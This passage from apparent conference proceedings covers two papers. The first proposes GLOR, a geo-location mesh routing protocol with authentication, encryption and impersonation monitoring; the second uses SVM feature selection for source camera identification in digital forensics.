transmitted. This makes it difficult to upscale the network. The routing protocol also
has a major flaw; it was found to saturate the network with “HELLO” packets during
normal operation as the number of connected devices increased. In order to support a
large number of devices, it requires a central node/entity/gateway that stores all
information regarding the nodes and controls the network by calculating routes which
negates with the very basic principle of a mesh network, its ability to be self-sustained.

2.2 Legacy Routing Protocols

Since the introduction of the Mesh Network, a few network protocols have been devel-
oped and various others have been modified in order to work with mesh topology [16].
OptimizedLink State Routing (OLSR) protocol [6–9] is one such protocol. It is developed
using optimization of the classical link state algorithm and modified in accordance to the
requirements of a mobile wireless LAN. The key concept used in the protocol is centered
on Multi-Point-Relays (MPRs) [11]. MPRs are selected nodes which forward broadcast
messages during the flooding process. The protocol was originally designed to work with
wired mesh networks, i.e. it is structured to work only on static devices. As mentioned in
the SPAN project [1], the protocol is known to flood the network with “Hello”messages
resulting in network saturation.

Ad hoc On-Demand Distance Vector (AODV) routing [10] is another such protocol
designed for mobile ad hoc network. It offers quick adaptation to dynamic link condi-
tions, low processing and memory overhead, low network utilization, and determines
unicast routes to destinations within the ad hoc network. The protocol performs well in
small networks, but as the number of nodes increases, it starts to fail as it depends upon
saving connectivity information of all node data within each node so as to route the
packets.

Zone Routing Protocol (ZRP) [14], also referred to as Border-cast Routing Protocol
(BRP) [13] is a hybrid routing framework based on various routing protocols, designed
to support mobile ad-hoc networks (MANET) [12]. Each node maintains a route within
a local region (known as the routing zone). Knowledge of the routing zone topology is
used by the protocol to improve the efficiency of the routing mechanism. As ZRP/BRP
is a combination of various other protocols, it also inherits both the merits and demerits
of other protocols.
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3 Geo-Location Oriented Routing (GLOR)

Geo Location Oriented Routing (GLOR) is designed as a hybrid routing protocol with
the aim of supporting large, dense & dynamic networks without compromising the
reliability and security of the network and the devices within it. To achieve this, a new
network model was created that is unlike any legacy or AD-HOC models. A distin-
guishing factor of the new approach is that unlike existing approaches, it utilizes the
high performance capabilities of smart devices which possess better hardware con-
figuration. The smart approach provides a new platform for improvements in various
aspects as discussed below.

Reverse Network Model: Unlike the traditional approach, where the network main-
tains the nodes in it, in this approach the nodes maintain the network. For example, the
node address (geo-location) is calculated and provided by the node itself instead of the
network providing one. Similarly, tasks like node registration, node monitoring, packet
routing, address allocation etc. are monitored by the nodes.

Security Model: The routing protocol uses simple but strong security measures that
start with an all new authentication and monitoring. After a device is authenticated
(described in Sect. 3.1), the data packets are sent through end-to-end encryption using
Public-Private Key unique to each device.

New Addressing Scheme: Unlike traditional methods, the smart approach uses
geo-location of a device as its address (described in Sect. 3.2). The geo-location is

Fig. 1. Network scenario
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obtained using GPS or is calculated by nearby nodes. This provides us with the
instantaneous position of each node, like dots on a fixed canvas.

Smart Packets: As the protocol uses geo-location for node addressing, the data packet
format is modified to include location information and associated parameters. Once a
packet is created, a predefined route is not required as necessary information for routing
are contained within the packet data. The packet knows the destination address, i.e. the
geo-location of the destination node as well as its current geo-location. From this
information the packet automatically calculates its transmission path (described in
Sect. 3.4).

The protocol function is further explained using a network scenario as shown in
Fig. 1. The various steps involved in the routing process are shown in Fig. 2 along with
the line of connectivity. Table 1 defines various components of the smart approach and
GLOR protocol.

3.1 Security Model

A very basic but effective security model is applied on the GLOR protocol. It is
implemented through different network levels, each focusing on an important aspect of
routing. The three aspects are: (a) authentication, (b) end-to-end encryption and
(c) monitoring. Each of these are explained below.

Fig. 2. Different steps of routing process
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(a) Authentication: The authentication starts during the Node Registration process
(described in Sect. 3.3) and is a vital part of the network model. Once a new
device connects to the network, its neighbor node/s (which has/have been pre-
viously authenticated) collect the device data as mentioned in the node registration
process. If more than one node can communicate with the new device, both nodes
compare the collected data to improve the authentication process.

Once the web server confirms that the device is new to the network, the user
has to manually enter their personal details including the selection of the unique
ID, which doubles as their contact number, and the generation of a public-private
key combination to be used for encryption and decryption purposes. These details
(excluding the private key) are sent to the neighboring node which is then
encrypted and sent to the web server for safekeeping and referencing.

As soon as the new device clears the authentication process, it’s status is
changed to authenticated node. From this point onwards all the data sent to and
from the device is encrypted using the public-private key combination created
earlier.

(b) End-To-End Encryption: The encryption method plays a major role once the
device/node has successfully authenticated itself. Each node has its own unique
pair of public and private key out of which only the public key is stored on the
web server to be used to communicate with the node. This ensures that each
packet sent over the network can only be decrypted by the node it was destined
for.

Table 1. Components of GLOR.

Component Definition

Node An electronic device (e.g. Smart-Phone, Laptop, and Tablet) that implements
Geo-Location Oriented Routing (GLOR)

Normal
Node

A node which has the capability to connect to other devices wirelessly and
implements GLOR protocol

Web Node A Normal Node with the capability to access the Internet
Neighbor
Node

A node X is said to be the neighbor node of Y if there exists a link between
the node X and node Y

Node
Location

It is the Geo-Location of the Node, i.e. its latitude and longitude up to 4
decimal places and the node’s unique ID

Unique ID The unique ID of the node is a onetime generated Unique Identification
number assigned to the Node alongside its MAC address during its first
registration on the network

Web
Register

A cloud-based database dedicated for storing vital information about Nodes,
including their MAC address, unique ID, Node Location, and Current State

Sector The Sector for a particular Node can be defined as a group of its neighboring
nodes in a predefined area. The sector improves the accuracy as each node in a
sector will know other nodes in that sector. This helps redirect a packet to the
destination node in case the node has changed location while the packet is
being routed
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The data packets are encrypted using the public key of the destination node at
the origin node, where the public key is obtained from the web register (described
in Sect. 3.4). The packet also contains the Public Key of the origin node so the
destination node can similarly encrypt any reply with the provided key.

The end-to-end encryption makes the network very secure as only two nodes
can see the contents of the packet; the origin and destination. Any node the packet
encounters during transmission can only read the header and packet information
but not the message/data it contains. This also prevents any unauthorized nodes
trying to access the data or impersonate an authenticated node.

(c) Monitoring: The monitoring of the network is conducted by the web register by
observing the timely updates it gets from the nodes in the network during the node
update (described in Sect. 3.4). For instance, the web register uses the
geo-location data of the node to determine if a node is trying to impersonate
another node by comparing their location and the displacement between the
updates.

It checks if a node’s unique ID is showing two different geo-locations at the
same time, or is switching locations at a pace that is physically impossible. If it is
the case, the nodes are flagged. This data is then used to find nearby nodes to
check which of the flagged nodes is real and which one is trying to impersonate.
The data collected is compared and processed to find which of the flagged nodes
are real and accordingly the impersonator is blocked and reported.

The monitoring can also help in finding lost/stolen devices as once powered on
they will connect to the network and can be easily tracked using their location. In
addition, its neighbor devices can once again aid in confirming its identity and the
appropriate authorities to confiscate the item.

3.2 Node Addressing

The GLOR protocol uses IPv6 addressing format for storing the geo-location. IPv6
protocol offers 32 hexadecimal bits, which are further divided into eight groups of 4
hexadecimal bits each. The first 4 groups are used for storing the node location and the
last 4 groups store the sector and cluster information of the node.

The first 4 groups are sub-divided into 2 groups to store the latitude and longitude
information corresponding to the node’s geo-location. The first digit represents whether
the value of latitude is positive (denoted by 1) or negative (denoted by 0), while the

Fig. 3. Addressing scheme (Part 1)
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following 3 digits is the number before the decimal point. The next 4 digits are the
number after the decimal point. The longitude is represented similarly. The first 8
hexadecimal bits denote the latitude and the next 8 bits denote the longitude, both with
an accuracy of 10 m. Figure 3 shows the structure used to store latitude and longitude.

The next 4 groups store the cluster number and the sector number. Each sector
represents 100 m2 of land and is defined using the latitude-longitude system. For
example, the area enclosed by latitude 1.0000 to 1.0001 & longitude 1.0000 to 1.0001
represents a sector as depicted in Fig. 1. The cluster is a combination of predefined
sectors. Figure 4 shows the sector-cluster structure used.

The sectors and clusters are calculated automatically based on the latitude and
longitude of the node, which is based on international standard representation of
geographic point location by coordinates.

3.3 Node Registration

The node registration process is initiated when a new device tries to connect or an
existing device re-connects to the network. After being powered on, the node scans the
surroundings for neighboring nodes. Once the list is populated, it selects the nearest
neighbor node (implementing GLOR protocol) and sends a ‘Hello’ message to initiate
the handshake. On completion of the handshake the new node requests neighbor node
to start its registration process.

The process, as shown in Fig. 5, includes collection of various device/user infor-
mation, its validation and accordingly going through the registration process. The first
registration for any node is manual as it requires the user to fill in details manually in
order to complete the registration process. If a device is re-connection to the network, it
does not have to re-register itself, just pass a simple authentication challenge created by
the web server and encrypted using the public key of the device.

Web Register: As described before, the web register is a cloud-based database that
stores vital information about the nodes. It is an application that runs on the network
and its sole purpose is to improve the performance and accuracy of the network. The
web register also takes the role of monitoring devices. This helps prevent
un-authenticated nodes or impersonating nodes from entering the network.

However, the network is not dependent on it and can still function on a
sector-broadcast mode in the absence of the web register. In the sector-broadcast mode,
instead of forwarding the data packet to each node, it is forwarded to just one node in
each sector. This minimizes the overhead and can be easily progressed as the sectors
are defined using geo-location. If the destination device is present in that sector, it will

Fig. 4. Addressing scheme (Part 2)
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receive the packet and can then keep updating the origin node about its location and
encryption key, else the packet will be forwarded to the next sector/s.

3.4 Smart Packets

The GLOR protocol defines the functioning of a node, implementing GLOR in a
network. This includes the universal specifications of GLOR messages, node regis-
tration, packet format & transmission, neighbor discovery and routing.

Packet Format: GLOR protocol communicates using a modified packet format. The
purpose is to keep it simple in order to reduce the load on the network. It helps
incorporate different types of information in a single transmission which optimizes the
use of max frame-size. The basic layout of the packet has been updated to include the
new addressing scheme and is shown in Fig. 6.

Fig. 5. Node registration process

Fig. 6. Packet format (Omitting TCP/IP Headers)
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The simple design and minimized header size helps the packets carry more data and
reduce overhead. Various components of the packet are described below.

• Packet Length - It is the length of the packet (in bytes).
• Packet ID - The Packet ID or PID must be incremented by one each time a new

GLOR packet is transmitted
• Message Type - It indicates the type of the message that is being transmitted.
• Hop Count - It is the number of hops a message has attained. It is incremented every

time the packet is retransmitted.
• Validity Time - It is the maximum time during which the information of the packet

is considered valid. If a node receives a packet with Validity Time = 0, the packet is
discarded.

• Origin Node ID - This is the ID of the node that originally generated the packet. It is
not to be confused with the Source Node ID in the IP header as it is updated each
time to the address on the intermediate node.

• Message Size - It is the total size in bytes measured from the beginning of “Message
Type” till the end of the message.

• Message ID - A unique ID is provided to each message by the Origin Node. It is
incremented by one for each message.

• Message - The Encrypted part that contains the main data to be sent including the
origin node’s public key

Packet Formation: This process defines how a packet is generated. Once the origin
node is ready to send a packet, it requests the address and public key of the destination
node by providing its unique ID to the web node. The web node initiates a request to
accesses the web register to retrieve the information as shown in Fig. 2 as step 1 & 2.
Once it gains access to the web register, it checks if the unique ID exists in the registry.
If the unique ID is not linked to a node, a “not_found” response is then sent to the
origin node.

If the Unique ID is found, the next step is to check if the node is still connected to
the network or not. This is done by accessing the destination nodes “[UID]_alive”
parameter. If the destination node is still connected to the network, the origin node
receives the destination node’s address and the public key. However, if the destination
node is currently offline, the origin node receives a “not_alive” message.

Once the Origin Node receives destination node address and the public key, it
creates the packet with the appropriate information and encrypts the message part
(Which also includes its own public key to ensure any reply to be encrypted as well)
using the destination node’s public key. The packet is then processed according to the
type of the messages defined in the next section.

Next Hop Calculation: Once the packet is created, the next hop is calculated
according to the method depicted in Fig. 7. The same procedure is used at every hop to
calculate the next hop as well (Table 2).
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The distance Pn is calculated using the following equation:

Pn =
j Xd � Xsð Þ Ys� Ynð Þ � Xs� Xnð Þ Yd � Ysð Þj

ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi

Xd � Xsð Þ2 þðYd � YsÞ2
q

The neighbor node is selected using the geo-location of the source node and the
destination node. Using these two location details as two points on a graph (Fig. 7.), a
straight line is plotted and then the neighbor node closest to the line and farthest to the
Source Node is selected and the packet is transmitted to it as shown in Fig. 7.
A neighbor node can be selected as the next hop if it satisfies the following conditions:

• The node should be alive and in the neighbor of the source node
• The node’s distance from the destination node (Dn) should be less than or equal to

the distance from source node to destination node (D).
• If there are two or more nodes that satisfy the above conditions, then a node is given

preference based on the following.

Fig. 7. Next hop calculation

Table 2. Key for Fig. 7.

Variable Description

Xs,Ys Geo-location of the source node
Xd,Yd Geo-location of the destination node
Xn,Yn Geo-location of the neighboring node/s
Rn Distance of neighbor node from source node
Dn Distance of neighbor node from destination node
D Distance of source node from destination node
Line D A straight line from source node to destination node
Pn Distance of neighbor node from line D
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• Its distance from source node (Rn) is greater
• Its distance from destination node (Dn) is less
• Its distance from line D (Pn) is less

This process repeats itself until the packet reaches its destination.

Packet Processing: Once a node receives a packet, it examines the header and its
contents based on the message type. Once the appropriate information is collected, the
packet is processed accordingly. The process that takes place once a packet is received
is presented in Fig. 8.

In order to make the system robust, the origin node can transmit the same packet
multiple times or to multiple nodes. This can result in each node receiving the same
packet multiple times. To prevent retransmission of the same packet, each node creates
a duplicate tuple with details about the packet.

Default Packet Forwarding: Once a packet has been processed, it is checked if it has
been transmitted before. If so, the acknowledgement is checked. If an acknowledge-
ment has been received, the packet is discarded, else the packet details are updated and
is transmitted, as shown in Fig. 9.

Node updating: Each node connected to the network will send an update to the web
register informing it about its location change or to acknowledge that it is still con-
nected to the network. The “Node_check” process handles this task and is repeated at
regular intervals. The process first checks if the node has changed its location; if yes,

Fig. 8. Packet processing and forwarding
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then it checks if the change in location is more than 10 m. If the change in location is
more than 10 m, the web register is sent a request to update the location and “[UID]
_alive” status. If the location change is less than 10 m, only a “[UID]_alive” message is
sent.

The GLOR proposed along with the smart approach create a new platform for the
wireless mesh network. Unlike the legacy/traditional network models, this approach
offers a new method for achieving a self-sustained network.

4 Security Prototype

An initial version of the GLOR protocol was developed using C# in Visual Studio.
A simple scenario with 72 authenticated devices randomly distributed across a 2D
plane was also setup to test the network model. Once the scenario is simulated, all the
authenticated nodes/devices in the network calculate their location (currently set to use
the X,Y coordinates of the node according to its placement on the 2D plane). Once the
location is calculated, the next step is to search and connect with neighboring nodes.
This creates the neighbor table that helps during the transmission of packets.

In addition to the above steps, each node also registers itself on the web register
(currently achieved by using a localized database to store the information). Once the
devices are connected and the network is formed, two random devices are manually
selected to exchange a predefined message-acknowledgement packet. The scenario
traces the path taken by the packets as shown in Fig. 10.

Fig. 9. Default packet forwarding
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The initial tests show promising results as the protocol works as expected and is
able to route packets across multiple devices. It was also observed that different packets
form the same device may take a different route based on its calculation of the next hop
and the availability of neighboring nodes.

As shown in Fig. 10, the acknowledgment packet from the destination node (de-
picted with light dotted line) did not take the same path as the original packet (depicted
with a dark dotted line). Current analysis proves that the routing can easily and effi-
ciently adapt to a dynamic mesh network. Since the first testing, GLOR protocol is
under constant modification to increase the efficiency, enable better security and be able
to handle unique/exceptional scenarios that might arise in real world scenarios such as
the dead loop or the “V” tip [17, 18].

Along with monitoring, the testbed is being modified to include the authentication
process for a new node joining the network. It also includes generation of
public-private key pair to enable end-to-end encryption. In future, our scheme will
include dynamic key generation to defend replay attack. This will help identifying
change or increase in resource requirement in the network. Further development of the
protocol will enable it to identify such exceptions and take appropriate measure to find
a way out of it.

5 Conclusion

The new network model with an all-new addressing scheme, GLOR protocol and the
inherent security measures together form a very robust communication network pro-
viding end-to-end security. The innovative model also creates a new platform for
further development of this routing technique as it is not governed by the limitations of
legacy protocols. The model also opens the doors for development of various appli-
cations that can perform considerably better as compared to the legacy network model.

The next phase of the research is to take the network model into the practical world.
This will be achieved by adding the GLOR protocol to smartphones and observing the

Fig. 10. Instance showing packet route trace
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performance in real world scenarios. The information received from real world
implementations will be used to further improve the protocol.
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Abstract. Digital Forensics is the branch of science dealing with inves-
tigation of evidences recovered from digital devices, to safeguard against
rapidly increasing cyber crimes in today’s digital world. The Source Cam-
era Identification (SCI) problem is to map an image under question cor-
rectly to its source device. Following a Digital Forensic approach, the
source of an image is detected by post–priori investigation of traces left
behind in the image, by the camera. Such traces are generated due to
the post–processing operations an image undergoes inside a digital cam-
era, after being captured. In this paper, we model the SCI problem as
a machine learning classification problem and focus on the most crucial
component of a learning model, i.e. feature selection. We propose three
different techniques for feature selection: Filter based approach, Wrapper
based approach using Genetic Algorithm (GA), and also a hybrid app-
roach with both Filter and Wrapper methods combined together. We
investigate the source detection accuracy that each technique succeeds
to achieve. Our experimental results suggest that the proposed methods
produced a much compact feature set, hence considerably improve the
source detection accuracy and minimize the training time of the learning
model, as compared to the state–of–the–art.

Keywords: Classification · Cybercrime · Digital forensics · Feature
extraction · Feature selection · Genetic Algorithm · Source camera iden-
tification

1 Introduction

Digital Forensics is a field of science which involves investigating and discovering
traces of cyber crime left behind in digital devices, hence to link the perpetrator
to the crime scene by producing enough legal evidences. Source Camera Identi-
fication is a problem in the domain of image forensics, wherein the motivation
is to map the image back to its authentic source. Digital forensic techniques for
source camera identification serve as a powerful tool for forensic investigators,
while tracking criminals of image forgeries, child pornography, terrorist attacks,
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and so on. In today’s digital era, due to the wide availability of low–cost user–
friendly image editing software tools, the credibility of images is highly at stake.
Hence, while producing an image in the court of law as an evidence towards any
event, the image has to first go through a number of forensic tests to authen-
ticate its ingenuity. To attribute the image to its authentic source device, has
thus attracted a lot of interest among forensic researchers worldwide. Unlike
other traditional multimedia security techniques such as “watermarking”, a dig-
ital forensic approach to the source identification problem is completely blind in
the sense that it is completely based on post–processing of data, and does not
require any form of data pre–processing.

In this paper, we model the image source identification problem as a machine
learning classification problem and majorly focus on feature selection, which is
one of the most crucial components of a classifier. Also, we present a set of image
features, used in our work to distinguish one camera model from another. The
primary principle behind feature selection is to remove those features from the
initially selected set, which are either redundant or have very little contribu-
tion to the learning model. In earlier related works [1,4,5], since the number
of features were not too high, a simple forward search technique like Sequential
Forward Feature Selection (SFFS) was sufficient. However, as the number of
features identified by recent researchers [1] has gradually gone up, the need to
select an optimally efficient set of features has come up. Our contribution in this
paper is optimization of source camera identification accuracy in digital foren-
sic domain, through efficient image features selection using multiple proposed
filters. Additionally, we propose a wrapper approach using genetic algorithm to
find a near optimal feature set. Finally, we develop a hybrid model combining
filter and wrapper approaches, which selects the most optimal feature set and
attains the maximum source detection accuracy.

Rest of the paper is organized as follows. Section 2 presents an overview of the
state–of–the–art researches related to source camera identification, along with
the required background related to feature extraction and feature selection, in
Sects. 2.2 and 2.3, respectively. In Sect. 3, we present in detail the complete source
camera identification procedure using the proposed feature selection strategies.
Our experimental results and inferences are discussed in Sect. 4. We conclude
the paper with a few directions to future research in Sect. 5. Definitions of the
statistical measures used to filter out features in the proposed work, are given
in Appendix A.

2 Background

2.1 Related Work

In the existing literature, the Source Camera Identification problem has been
approached by researchers from either one of two directions: One which uses a
camera fingerprint (Sensor Pattern Noise) [6] as the base discriminator among
the camera models. Second, machine learning based classification of camera mod-
els [1–4], which uses set of well defined image features for source distinction.
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The discovery of Sensor Pattern Noise (SPN) [6] as a digital fingerprint to
identify the source of the image is noteworthy work which paved way for many
other similar works [7,8] to follow. For each camera the associated reference noise
is determined which acts as a unique trait to identify the camera. The reference
noise is obtained for a camera by averaging the noise of multiple images. To map
an image to a particular camera the reference noise of the camera is checked in
the image, using a correlation detector and hypothesis testing theory.

The pipeline of image formation in all modern day digital cameras is very
similar. In this pipeline, an array of charge coupled devices (CCD) senses the
light and forms pixels. The CCD element is monochromatic so the color images
are captured by arranging the CCD element with different color filters (red, green
and blue) called as Color Filter Array (CFA). The CFA forms a mosaic of red,
green and blue pixels, and the RGB values of each missing pixel is obtained by
applying demosaicing (interpolation) techniques. The CFA pattern and interpo-
lation algorithms vary from one camera model to another. The variation in color
interpolation for different camera models, are studied and exploited to identify
the origin of an image by various researchers [1–3]. To trace the differences in
color interpolation of different cameras the first, second and higher order statis-
tics of the images are examined.

Image features for source classification based on color information, proposed
by Kharazzi et al. [3], include average pixel value, RGB pair correlation, neighbor
distribution center of mass, RGB pairs energy ratio and wavelet domain statisti-
cal features. Various researchers have also used different Image Quality Metrics
(IQM), (such as mean absolute error, mean square error, Czekanowski distance,
cross correlation, spectral magnitude and phase etc.), as features to distinguish
sources based on the quality of produced images [1,3,9,10,12]. The source cam-
era identification model proposed by Celiktutan et al. [1] uses characteristics of
lower order bit planes of an image. The local binary pattern method [1,10,11]
applied to quantify the bit patterns of 3 × 3 neighborhoods calculates the his-
tograms in terms of spatial, quantal, and chromatic domains. The spatial pat-
terns occur within a bit plane; quantal features occur between adjacent bit planes
and chromatic are across the color channels (RGB). The Binary Similarity Mea-
sures (BSM) computed with these patterns, are considered as a features set by
researchers such as [1,10,11]. These authors have additionally used Higher Order
Wavelet Statistical (HOWS) features (such as mean, variance, kurtosis, skew-
ness etc.) and IQM features, combined all three above feature sets, and scored
with SVM classifiers for source classification.

2.2 Feature Extraction: Related Background

To perform source camera identification using machine learning techniques, the
first and most important step is identification and extraction of suitable fea-
tures. In this work, we have used a total of 598 features, including the BSM,
IQM and HOWS features used in [1] previously for source classification. Since
the total number of features extracted is 598, to select the optimal or most
efficient subset of these features, poses to be a computationally intensive job.
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(Fig. 1 demonstrates the complete work flow of the source classification model
adopted by us.) In Sect. 3.2, we present the details of feature extraction approach
adopted in our work.

2.3 Feature Selection: Related Background

Feature selection has emerged to be a significant problem in applications involv-
ing datasets with huge number of features. This is majorly to improve accuracy
of classification, minimize the training time of the learning model, as well as to
counter the overfitting problem [32] in classification. The feature subset selec-
tion may be viewed as an optimization problem, which searches for the best
subset, and identifies one that is optimal (or near–optimal) with respect to the
given measures. The feature selection process involves two different criteria, viz.,
feature evaluation and feature search strategies, discussed as follows.

Feature evaluation strategies are used to assess, how well the selected fea-
tures are related to the learning algorithm, hence how well they classify the
given dataset. In general, Filter based approaches [14] for feature evaluation,
select the features subset independent of the learning algorithm. Whereas, the
Wrapper approaches evaluate the features subset specific to the learning algo-
rithm. In general, the filter based approach is computationally faster than the
wrapper approach. However, the features selected by the filter approach may
not always form an optimal subset. Whereas the wrapper approach [24] selects
an optimal or near–optimal feature subset always. Hence, to gain a trade–off
between computational complexity and classification accuracy, while selecting
an optimal feature set specific to a particular learning algorithm, becomes a
challenging task.

The second criteria of feature selection process, i.e. search strategy, may be
broadly classified into: exhaustive search, heuristic search and random search
strategies [26,27]. The exhaustive search evaluates all possible subsets in the
search space. The optimality of the feature subset set is guaranteed; however, the
time complexity is high. In the heuristic search procedure, the process of selection
and rejection of features is performed repeatedly to produce the optimal subset.
However, it works best with linear classifiers. The random search randomizes the
subset selected for evaluation in every iteration, and is the most efficient.

3 Image Source Identification Through Digital Forensics

This section provides in detail, the digital forensic technique that we adopted
for source camera identification. The technique is completely blind, that is inde-
pendent of any information stored/computed a–priori. We model source camera
identification as a classification problem, the operational flow for which is demon-
strated in Fig. 1. The flowchart in Fig. 1 consists of three main operational blocks:
feature extraction, feature selection and classification. The feature extraction
procedure used to form the training feature set, is discussed in Sect. 3.2. For fea-
ture selection, we employ three different strategies: Filter, Wrapper and Hybrid
approaches to find the optimal feature set, as discussed in detail in Sect. 3.3.
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Fig. 1. Operational flowchart of the proposed source classification model
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3.1 The Source Classification Model

Traditionally, in source camera identification using machine learning, a number
of appropriately chosen features are extracted from images captured by different
camera models, under question. In this paper we deal with identifying an image
source from a closed set of camera models. Next, those features are fed to a
classifier, so as to train it towards distinguishing between camera models of the
given set. Finally, the test image is produced to the trained classifier, and the
classifier now predicts its correct source. In order to optimize the accuracy of
source prediction, we select an optimal set of features through features selection.
Feature selection optimizes the feature set both in terms of classification accuracy
and processing time. In our work, the complete feature set is produced as input
to feature selection module, which adopts three different approaches: using filter,
using wrapper and a hybrid approach, shown as separate sub–modules in Fig. 1
within the dotted boundary. For both filter and wrapper approaches, the input
is the entire feature set; whereas for the hybrid approach the input is the feature
set formed by the filter approach. The output is an optimized feature set for all
three approaches.

Majority of state–of–the–art techniques use Sequential Forward Feature
Selection (SFFS) [1,2,10] algorithm for feature set optimization in source camera
identification problem. SFFS is a deterministic single solution method. It follows
a simple principle, i.e., to begin with an empty feature set and iteratively add
other features until the termination criteria is reached. In every iteration, we add
that feature which results in highest classification accuracy when combined with
the features that have already been selected. However, SFFS does not remove
features that become irrelevant or redundant after addition of new features.

Also when the feature set is huge [1], the SFFS algorithm is applied to dis-
tinct manually selected subsets of features, and the resultant subsets are finally
merged to form the ultimate optimal feature subset for classification. Manual
partitioning of feature subsets would disturb the correlation properties between
the features. The filter based feature selection strategy, achieves a much impro-
vised classifier performance by overcoming this limitation. We do not manually
create any divisions in the feature set, and keep all the features intact in the
initial set input to our feature selection module.

We, in this paper have used six different filters for feature selection (following
the filter approach). We use genetic algorithm as the search strategy in the
wrapper approach. Finally, we use a hybrid approach where the features selected
by the best filter are given as a start set to the genetic algorithm. In sequel, we
provide the details of experiments carried out by us following all three approaches
in Sect. 4.

3.2 Detailed Feature Extraction Procedure

As stated earlier in Sect. 2.2, we trained our source classification model with
three sets of features: BSM, IQM, and HOWS. The BSM features are extracted
from a pair of adjacent bit planes within the color channel, and from a pair
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of corresponding bit planes across the color channels. In our work, we formed
the pairs of bit planes as R3–R4 (i.e. between 3rd bit plane of Red and 4th bit
plane of Red), R4–R5, R5–R6, R6–R7, R7–R8, G3–G4, G4–G5, G5–G6, G6–G7,
G7–G8, B3–B4, B4–B5, B5–B6, B6–B7, B7–B8, R3–G3, R4–G4, R5–G5, R6–
G6, R7–G7, R8–G8, G3–B3, G4–B4, G5–B5, G6–B6, G7–B7 and G8–B8. In this
formation of bit plane pairs, the similarity between the binary texture statistics
of adjacent bit planes, in both spatio–quantal (adjacent bit planes within color
channel) and spatio–chromatic (across color channels) directions are computed.
The spatio–quantal direction consists of 5 pairs of adjacent bit planes within
the color channels, and totally 15 pairs while considering red, green and blue
channels. The spatio–chromatic direction consists of 12 pairs of corresponding
bit planes across the color channels (Red–Green and Green–Blue). A total of 486
BSM features are extracted by 18 BSM metrics [1,11] with 27 bit planes pairs.

To compute the IQM features, four different filters, viz., Gaussian blur,
Additive Noise, JPEG compression and Set Partitioning in Hierarchical Trees
(SPIHT ) are applied to an image. One IQM feature corresponds to an image
and one of its filtered versions. We extracted 10 IQM features [1,10,12] from
each image pair, which resulted into a total of 40 features.

To find the HOWS features [1,10,13], the image space is decomposed into
multiple scales and orientations. Haar Wavelet Transform [9,28,29] is used for
decomposition and it generates a lowpass, veritical, horizontal and diagonal sub–
bands. Applying filters recursively on a lowpass sub–band creates next scale
decomposition. The simple statistical model of mean, variance, skewness and
kurtosis of the sub–band at each orientation and scale are computed, resulting
into 72 features. Finally, fusion of all the groups (BSM, IQM and HOWS) gives
us a total of 598 features.

3.3 Proposed Feature Selection

The feature selection problem in source classification, may be mathematically
modeled as follows. The problem is to find a subset of features Fs from the
total features set Ft in such a way that the set Fs maximizes the classification
accuracy of the model. Mathematically,

Fs = argmax
F

FindAccuracy(F )

where F ⊆ Ft and |F | = desired cardinality of Fs (1)

where FindAccuracy(F ) measures the classification accuracy of the model with
selected feature set F .

When there are n features, it would generate a powerset of 2n feature sub-
sets, out of which at least one subset would produce the maximum classification
accuracy. To find the best subset(s) out of those 2n feature subsets, becomes a
computationally hard task if n is high. Thus, efficient feature selection poses to
be a challenging problem in source classification. In the following, we present
in detail, the three proposed feature selection approaches adopted in our source
classification model.
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Filter Based Approach for Feature Selection. We applied six different
filters for feature selection here, using following six statistical measures: Chi
Squared, Mutual Information, Fisher Score, Pearson Correlation, Kendall Cor-
relation and Spearman Correlation. (Detailed definitions of the above filters are
provided in Appendix A). All those filters use heuristics based on general char-
acteristics of the data, rather than testing on the learned model, while opti-
mizing the feature subset. We apply individual filters on a pair of features, and
the threshold mechanism corresponding to each filter is employed to identify
whether one or both features in the pair are redundant. The redundant features
are dropped from the set. For example, when the Pearson correlation measure is
used as a filter on a pair of features, the output can be +1, −1 or 0, where +1
signifies positive correlation, 0 signifies no correlation and −1 signifies negative
correlation. Depending on the score given by a filter, all the features are ranked
according to their relevance, and top ‘k’ features are selected to form the optimal
feature subset. The proposed filter based feature selection procedure is described
as follows.

1. Select one of the six filters, mentioned above.
2. Start with the set of all 598 image features extracted from the training

dataset, as discussed in Sect. 3.2.
3. Apply the filter on the entire feature set to obtain a reduced feature set of

size 10.
4. Record the performance of the reduced feature set on the learning model

with respect to source camera classification accuracy and F–Score [25]. The
learning model adopted by us in this case, is multi–class SVM with a linear
kernel, which we implemented using LibSVM software package [31].

5. Repeat steps 3–4, by increasing the number of selected features by 10 in every
iteration. Do this until the performance (classification accuracy or F–score)
of the learning model starts to drop.

6. Repeat steps 2–5 for all other filters one–by–one, and record the results.

In Sect. 4, we present the performance of all above filters in terms of source
classification.

Fig. 2. Wrapper approach

Wrapper Approach for Feature Selection. The wrapper approach, unlike
the filter approach tries to find the optimal feature subset by evaluating every
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subset in the power–set of feature space. In this regard, the search technique used
for feature subset selection plays an important role in convergence of the feature
selection method in efficient time. We use Genetic Algorithm as a search strategy
in the wrapper approach. The main components of a genetic algorithm are: an
encoding scheme, initial population selection module, a fitness function formed,
and the genetic operators (Selection, Crossover and Mutation). The following
genetic algorithm parameters are used in this paper:

– Population size: 200
– Number of generations: 1000
– Probability of crossover:0.75
– Probability of mutation: 0.2

The procedure of feature selected through wrapper approach, depicted in
Fig. 2, is described below.

1. The algorithm starts with the complete set of all 598 image features extracted
from the training dataset, as discussed in Sect. 3.2.

2. Feature subset search is carried out on the training dataset, using genetic
algorithm with above parameters.

3. The feature subset is evaluated on the learning model (linear multi–class SVM
using LibSVM).

4. The above steps are repeated until convergence.

Since verifying if a genetic algorithm has converged at the global maximum
for a hard problem is impossible, we have run the genetic algorithm multiple
times by changing the population size and the number of generations. Finally,
we settled for a population size of 200 and number of generations as 1000, because
the fitness value was found not to change much after it has reached this near–
optimal solution.

Hybrid Approach for Feature Selection. In this work, we split the wrapper
based feature selection methods into two different types, based on the how the
initial populations in the genetic algorithm are generated. They are,

1. Wrapper approach by using genetic algorithm. In this method, initial
populations are chosen randomly and the resultant output is Feature Set 1,
shown in Fig. 1. The same has been described above.

2. Hybrid approach – A hybridization of filter and wrapper approach
using genetic algorithm. Here, the Feature Set 2 shown in Fig. 1 (the
feature set selected by the filter approach) is chosen as start set which is, one of
the initial populations of the genetic algorithm. In this method, the advantage
of both filter and wrapper approaches are gained and the performance in
terms of source classification, is maximized.
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4 Experiments, Results and Discussion

In our experiments, we have used the Dresden image database [30], which is a
benchmark dataset in used by forensic researchers. The experiments are con-
ducted on sample images of three camera models: Canon, Nikon and Sony (col-
